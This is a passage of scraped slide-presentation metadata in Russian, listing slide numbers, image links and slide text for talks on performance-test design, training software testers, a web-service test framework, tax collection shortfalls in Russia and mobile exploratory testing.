"description": "Ход обсуждения Сравним простые ситуации и случай комплекса систем Выделим главные разделы методики тестирования производительности Получим список шагов для тест-дизайнера"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img6.jpg",
"description": "Источники и объекты нагрузки В системе есть некоторые процессы, производительность которых нужно тестировать Система = Объект нагрузки Процессы в этой системе кто-то или что-то инициирует. Кто-то или что-то = Источник нагрузки"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img7.jpg",
"description": "Источники и объекты нагрузки"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img8.jpg",
"description": "Источники и объекты нагрузки Выделяем источники нагрузки, чтобы подумать как будем при тестировании создавать нагрузку от них Выделяем объекты нагрузки, чтобы подумать, что же будем тестировать"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img9.jpg",
"description": "Характеристики производительности"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img10.jpg",
"description": "Характеристики производительности Временные и объемные характеристики ХП3: Максимальное число пользователей одновременно работающих во Вспомогательной системе 1 ХП4: Время отклика АБС на вызовы транзакций ИР ХП5: Время выполнения АБС не online операций (Secondary Update и batches End of Day и Start of Day)"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img11.jpg",
"description": "Характеристики производительности Скоростные характеристики для инфопотоков ХП2 и ХП3: Скорость обработки данных. Текущая скорость и Общая скорость."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img12.jpg",
"description": "Характеристики производительности"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img13.jpg",
"description": "Характеристики производительности Определяем характеристики производительности, чтобы ясно понять цели тестирования"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img14.jpg",
"description": "Процесс нагрузки Профиль нагрузки \\ Карта запуска Набор бизнес-операций Операции во времени Объемы данных во времени"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img15.jpg",
"description": "Процесс нагрузки Режим нагрузки = Профиль нагрузки + параметры среды П1: Готовность кода систем. П7: Объем и содержимое БД АБС. П8: Сетевые конфигурации АБС и Вспомогательной системы – 1. П4: Участие реальных систем или заглушек."
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img16.jpg",
"description": "Процесс нагрузки Определяем режим нагрузки, чтобы зафиксировать условия, в которых будет измеряться производительность"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img17.jpg",
"description": "Модель нагрузки"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img18.jpg",
"description": "Дополнительные разделы методики"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img19.jpg",
"description": "Список шагов тест-дизайнера Определить объекты и источники нагрузки Определить характеристики производительности Определить режимы нагрузки Описать структуру скриптов Сформировать раунды тестирования Определить способы измерения характеристик производительности"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/767a3a420c1c8414a7e94c1e9898e22f/img20.jpg",
"description": "E-mail: [email protected], [email protected] E-mail: [email protected], [email protected] skype: eeremeev Спасибо!"
}
] |
https://mypresentation.ru/presentation/99629 | Готовим тестировщика: с нуля и до… необходимого уровня Святослав Куликов Training & Education Manager EPAM, Минск | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img0.jpg",
"description": "Готовим тестировщика: с нуля и до… необходимого уровня Святослав Куликов Training & Education Manager EPAM, Минск"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img1.jpg",
"description": "Познакомимся"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img2.jpg",
"description": "О чём пойдёт речь…"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img3.jpg",
"description": "Суть проблемы"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img4.jpg",
"description": "Нужны люди. Постоянно."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img5.jpg",
"description": "Откуда брать людей. Много."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img6.jpg",
"description": "Откуда брать людей. Много."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img7.jpg",
"description": "Наш опыт"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img8.jpg",
"description": "Почему это выгодно"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img9.jpg",
"description": "Наш опыт"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img10.jpg",
"description": "Мы определили процесс"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img11.jpg",
"description": "Готовим тестировщика: с нуля и до… необходимого уровня Святослав Куликов Training & Education Manager EPAM, Минск, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img12.jpg",
"description": "Требования к кандидату"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img13.jpg",
"description": "Цифры. Можно задуматься."
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img14.jpg",
"description": "Готовим тестировщика: с нуля и до… необходимого уровня Святослав Куликов Training & Education Manager EPAM, Минск, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img15.jpg",
"description": "Мы задали себе вопросы"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img16.jpg",
"description": "«Чего хотят ресурс-менеджеры?»"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img17.jpg",
"description": "«Кто является заказчиком?»"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img18.jpg",
"description": "«Чему можно научить… ?»"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img19.jpg",
"description": "«… и что мешает?»"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img20.jpg",
"description": "Ошибка 1 «Ребята, я учился этому 20 лет, а у вас есть месяц. Дерзайте!»"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img21.jpg",
"description": "Ошибка 2 «Вот есть классная технология…»"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img22.jpg",
"description": "Ошибка 3 «Рассмотрим определение…»"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img23.jpg",
"description": "Ошибка 4 «Практика и только практика!»"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img24.jpg",
"description": "Ошибка 5 – Поняли? – Дааа! Мы поняли!"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img25.jpg",
"description": "«Кто должен учить?»"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img26.jpg",
"description": "Как учить"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img27.jpg",
"description": "Основа взаимодействия"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img28.jpg",
"description": "Работа на тренинге"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img29.jpg",
"description": "Test-Driven Education"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img30.jpg",
"description": "Алгоритм-1"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img31.jpg",
"description": "Алгоритм-2"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img32.jpg",
"description": "– И это работает? – Да, работает."
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img33.jpg",
"description": "% успешного усвоения тем"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img34.jpg",
"description": "Отделяем агнцев от перспективных специалистов"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img35.jpg",
"description": "Готовим тестировщика: с нуля и до… необходимого уровня Святослав Куликов Training & Education Manager EPAM, Минск, слайд №36"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img36.jpg",
"description": "Три дороги"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img37.jpg",
"description": "И в итоге!"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/4d5823ab00465b984049ce34a2d21a04/img38.jpg",
"description": "Спасибо за внимание! Вопросы приветствуются! Всегда рад пообщаться и обменяться опытом: [email protected] svyatoslav.moikrug.ru Расширенная статья по материалам доклада доступна на: http://svyatoslav.biz/"
}
] |
https://mypresentation.ru/presentation/9962 | Вопросы недополучения налогов в бюджете РФ _ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img0.jpg",
"description": "Вопросы недополучения налогов в бюджете РФ"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img1.jpg",
"description": "Вопросы недополучения налогов в бюджете РФ _, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img2.jpg",
"description": "Проблема сбора налогов, правда не в таких размерах, стоит и перед другими странами мира Проблема сбора налогов, правда не в таких размерах, стоит и перед другими странами мира Это актуально даже для стран Западной Европы, отличающихся хорошей социальной защитой и высоким правосознанием граждан. в ряде стран Западной Европы - до 20%; В США - 15%; В России - от 30 до 50% подлежащих уплате налогов."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img3.jpg",
"description": "Сложности в определении налогооблагаемой базы, неблагоприятное влияние на которую оказывают: - сокращение объемов промышленного и сельскохозяйственного производства; - высокое количество убыточных и низкорентабельных предприятий; - рост кредиторской и дебиторской задолженности и взаимных неплатежей предприятий; - снижение активности банковской системы; - растущая скрытая и явная безработица; - продолжающийся рост цен на промышленные и продовольственные товары, сочетающийся с высокой долей населения, имеющего доходы ниже черты бедности; - задержки выплат заработной платы."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img4.jpg",
"description": "Заколдованный круг:"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img5.jpg",
"description": "Теневая экономика По данным ФСБ, теневой денежный оборот в России в настоящее время составляет 50 трлн. руб. Удельный вес теневой экономики в развитых странах обычно равен 5-10% валового внутреннего продукта, а в России он достигает 40%. И, естественно, никакие налоги с этих средств не уплачиваются."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img6.jpg",
"description": "В январе 2012 года И уже в феврале этого года в прессе появилась информация, что рассматривается вопрос об: увеличении НДС на 2 или даже 4 процентных пункта, введение прогрессивной шкалы подоходного налога, возврат страховых взносов в 34% c перенесением части нагрузки на работника, повышение акцизов на алкоголь и табак."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img7.jpg",
"description": "Во-первых, это новые правила трансфертного ценообразования, расширения признаков взаимозависимости и введения новой налоговой проверки для контроля над контролируемыми сделками."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img8.jpg",
"description": "Во-вторых, в ноябре 2011 года изменился подход к оценке учета расходов по долговым обязательствам перед иностранными материнскими компаниями. Таким образом, выплачивая проценты иностранным материнским компаниям, которые прямо или косвенно владеют уставным капиталом российской компании, а задолженность перед ними в три раза превышает стоимость чистых активов, российская компания будет обязана переквалифицировать выплату процентов в выплату дивидендов и удержать налог у источника выплаты, то есть в России ."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img9.jpg",
"description": "В-третьих, Правительство уже намерено пересмотреть свое отношение к еврооблигациям и предложило облагать купонные выплаты налогом на прибыль. Что может существенно сказаться на привлечении заемных средств из-за рубежа."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img10.jpg",
"description": "В-четвертых, Глава СКР Александр Бастрыкин обрушился с критикой на решение разрешать возбуждать уголовные дела о налоговых преступления только с подаче органов ФНС. Это может свидетельствовать о том, что в рамках «налогового маневра» могут отменить норму, которая разрешать возбуждать уголовное дело только при наличии решения налогового органа по результатам проверки."
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img11.jpg",
"description": "В-пятых, Начинает меняться арбитражная практика по рассмотрению налоговых споров по однодневкам. Если раньше к суду подходили формально при решении подобных дел, то теперь судьи более внимательно исследуют доводы налоговых органов, оценивая реальность сделки не так поверхностно."
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/6b4e6d81aa62252041e40c27389d633d/img12.jpg",
"description": "Тяжелейшая задача - создание эффективной системы сбора налогов Для решения этой задачи необходимо: нормализовать деятельность органов налоговой службы, налоговой полиции, внутренних дел; обеспечить их высококвалифицированными и честными специалистами; создав для специалистов нормальные условия работы и в первую очередь установив достойную заработную плату; вести работу непосредственно с налогоплательщиками, повышая с помощью информирования и разъяснения уровень правосознания, объясняя, на какие цели идут средства от налогов, а главное, установив разумные ставки налогов."
}
] |
https://mypresentation.ru/presentation/99630 | Фреймворк для авто-тестирования веб-сервисов своими силами Воробьев Андрей Test Automation Engineer EPAM, Минск | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img0.jpg",
"description": "Фреймворк для авто-тестирования веб-сервисов своими силами Воробьев Андрей Test Automation Engineer EPAM, Минск"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img1.jpg",
"description": "О себе"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img2.jpg",
"description": "Профессиональный жаргон"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img3.jpg",
"description": "Авто-тестирование веб-сервиса"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img4.jpg",
"description": "Авто-тестирование веб-сервиса"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img5.jpg",
"description": "Как решить?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img6.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img7.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img8.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img9.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img10.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img11.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img12.jpg",
"description": "Сложно или просто?"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img13.jpg",
"description": "Просто"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img14.jpg",
"description": "Сложно"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img15.jpg",
"description": "«Сделай сам»"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img16.jpg",
"description": "Task list "
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img17.jpg",
"description": "Подготовка запроса"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img18.jpg",
"description": "Подготовка запроса"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img19.jpg",
"description": "Отправка запроса/Получение ответа"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img20.jpg",
"description": "Валидация ответа"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img21.jpg",
"description": "soapUI – это тоже Java код"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img22.jpg",
"description": "Архитектура"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img23.jpg",
"description": "Архитектура. Основные принципы"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img24.jpg",
"description": "Архитектура. Основные принципы"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img25.jpg",
"description": "Архитектура. Основные принципы"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img26.jpg",
"description": "Архитектура. Компоненты"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img27.jpg",
"description": "Архитектура. Диаграмма последовательности"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img28.jpg",
"description": "Компоненты. Тест"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img29.jpg",
"description": "Компоненты"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img30.jpg",
"description": "Компоненты. Процессор шаблонов"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img31.jpg",
"description": "Компоненты. Процессор шаблонов"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img32.jpg",
"description": "Компоненты. Процессор шаблонов"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img33.jpg",
"description": "Компоненты. Процессор шаблонов"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img34.jpg",
"description": "Компоненты"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img35.jpg",
"description": "Компоненты. XML - модель"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img36.jpg",
"description": "Компоненты. SOAP-клиент"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img37.jpg",
"description": "Компоненты"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img38.jpg",
"description": "Компоненты. Валидация"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img39.jpg",
"description": "Компоненты. Валидация. Ответ"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img40.jpg",
"description": "Почему это так важно"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img41.jpg",
"description": "Почему это так важно"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img42.jpg",
"description": "soapUI Pro умеет…"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img43.jpg",
"description": "soapUI vs. разработка"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img44.jpg",
"description": "soapUI vs. разработка"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img45.jpg",
"description": "soapUI vs. разработка"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img46.jpg",
"description": "soapUI vs. разработка"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img47.jpg",
"description": "Наш опыт"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img48.jpg",
"description": "Наш опыт"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img49.jpg",
"description": "Фреймворк для авто-тестирования веб-сервисов своими силами Воробьев Андрей Test Automation Engineer EPAM, Минск, слайд №50"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img50.jpg",
"description": "Спасибо за внимание!"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img51.jpg",
"description": "Валидация ответа"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img52.jpg",
"description": "Компоненты. Процессор шаблонов"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/a82a3e66aab16cdb1a0723d398ce4291/img53.jpg",
"description": "Компоненты. XML – модель. JAXB"
}
] |
https://mypresentation.ru/presentation/99631 | 1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img0.jpg",
"description": "1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img1.jpg",
"description": "Привет!"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img2.jpg",
"description": "Привет!"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img3.jpg",
"description": "Привет!"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img4.jpg",
"description": "О чем доклад?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img5.jpg",
"description": "О чем доклад?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img6.jpg",
"description": "О чем доклад?"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img7.jpg",
"description": "Что за отличия?"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img8.jpg",
"description": "Особенности платформы"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img9.jpg",
"description": "Датчики и устройства ввода"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img10.jpg",
"description": "Энергопотребление"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img11.jpg",
"description": "Доступ к сети"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img12.jpg",
"description": "Функции телефона"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img13.jpg",
"description": "Функции телефона"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img14.jpg",
"description": "Функции телефона"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img15.jpg",
"description": "Экран"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img16.jpg",
"description": "Экран"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img17.jpg",
"description": "Нормы и рекомендации"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img18.jpg",
"description": "Узкая специализация"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img19.jpg",
"description": "Узкая специализация"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img20.jpg",
"description": "1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img21.jpg",
"description": "1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img22.jpg",
"description": "Эмулятор или устройство?"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img23.jpg",
"description": "Журавль в небе или…?"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img24.jpg",
"description": "Знайте особенности"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img25.jpg",
"description": "Настройка"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img26.jpg",
"description": "Настройка"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img27.jpg",
"description": "Инструменты"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img28.jpg",
"description": "Инструменты"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img29.jpg",
"description": "Инструменты"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img30.jpg",
"description": "1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац, слайд №31"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img31.jpg",
"description": "1 До зеленых человечков: исследовательское тестирование приложений для мобильных Роман Твердохлебов, Санкт-Петербург. - презентац, слайд №32"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img32.jpg",
"description": "Установка/обновление"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img33.jpg",
"description": "Установка/обновление"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/6d6c3058bb3758c75ea02e789248b854/img34.jpg",
"description": "Установка/обновление"
},
{
"slide_number": "36",
